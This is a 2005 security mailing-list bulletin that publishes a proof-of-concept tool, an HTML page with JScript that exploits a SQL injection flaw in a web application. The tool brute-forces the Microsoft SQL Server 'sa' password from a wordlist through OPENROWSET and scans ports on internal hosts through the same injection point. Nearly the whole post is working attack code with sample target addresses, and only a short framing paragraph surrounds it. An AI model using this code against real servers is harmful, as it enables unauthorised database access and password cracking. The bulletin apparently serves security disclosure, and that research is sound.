From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 17 May 2005 10:47:57 +0200
Subject: [TOOL] MS SQL Server Passwords Bruteforce via SQL Injection (PoC)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050517075553.A01165781@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MS SQL Server Passwords Bruteforce via SQL Injection (PoC)
------------------------------------------------------------------------
SUMMARY
DETAILS
Base on the article linked in our previous article:
<http://www.securiteam.com/securityreviews/5IP030K8AA.html>; Manipulating
Microsoft SQL Server Using SQL Injection, the following tool will utilize
SQL injection vulnerabilities to brute force MS SQL's sa password.
Tool:
< html>
< h3>
MS SQL Server passwords bruteforce PoC via SQL Injection
< /h3>
(c)oded by Sergey V. Gordeychik 2005< br>
< a href=mailto: [email protected]>[email protected]< /a>
< hr>
< table>
< tr>
< td>
URL with injection:
< /td>
< td>
< input type=text Value="http://200.4.4.106/inject.asp?id=1;< ***>"
id=baseurl>
< /td>
< tr>
< td>
Passwords file:
< /td>
< td>
< input type=text Value="passwords.txt" id=passwords>
< /td>
< /table>
< input type=button Value="Start" onclick="brut();">
< hr>
< h3>
Network port scanner via SQL Injection
< /h3>
< hr>
< table>
< tr>
< td>
Server:
< /td>
< td>
< input type=text Value="200.4.4.6" id=server>
< tr>
< td>
Port to scan:
< /td>
< td>
< input type=text Value="445" id=port>
< /table>
< input type=button Value="Check" onclick="scan();">
< hr>
< a id="status">< /a>
< script language="JScript">
var xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
var inject = "select * from openrowset('SQLOLEDB','.';'sa';'pass','select
1')"
function scan()
{
var x,s = inject.replace(".", document.getElementById("server").value
+ "," + document.getElementById("port").value);
s = document.getElementById("baseurl").value.replace("< ***>", s);
xmlhttp.Open("GET", s, false);
xmlhttp.Send();
x = xmlhttp.responseText;
if (x.indexOf("SQL Server does not exist")>=1) s="closed"; else
if (x.indexOf("Timeout expired")>=1) s="filtered or unreachable"; else
if (x.indexOf("Login failed")>=1) s="SQL Server detected."; else
s="open";
document.getElementById("status").innerHTML="Scaned " +
document.getElementById("server").value + ":" +
document.getElementById("port").value + ".Port status:< b>"+s;
}
function checkpass(url, passwd)
{
var s = inject.replace("pass", passwd);
s = url.replace("< ***>", s);
xmlhttp.Open("GET", s, false);
xmlhttp.Send();
if (xmlhttp.responseText.indexOf("Login failed")>=1) return 0; else
{
return 1;
}
}
function brut()
{
document.getElementById("status").innerHTML="Starting...";
var fso, f, pass, baseurl, passwords, i
fso = new ActiveXObject("Scripting.FileSystemObject");
baseurl=document.getElementById("baseurl").value;
passwords=document.getElementById("passwords").value;
f = fso.OpenTextFile(passwords, 1);
i = 0;
while (!f.AtEndOfStream)
{
pass = f.ReadLine();
i=i+1;
if (!(i % 10))
{
document.getElementById("status").innerHTML="Trying password N"+i+"
< b>"+pass+"< /b>";
}
if (checkpass(baseurl, pass))
{
document.getElementById("status").innerHTML="SA password is '<
b>"+pass+"< /b>'. Checked "+i+" passwords";
return 0;
};
}
document.getElementById("status").innerHTML="Ooopssss.... May be next
time";
}
< /script>
ADDITIONAL INFORMATION
The information has been provided by <mailto:offtopic@mail.ru.> offtopic.
The original article can be found at:
<http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip>;
http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
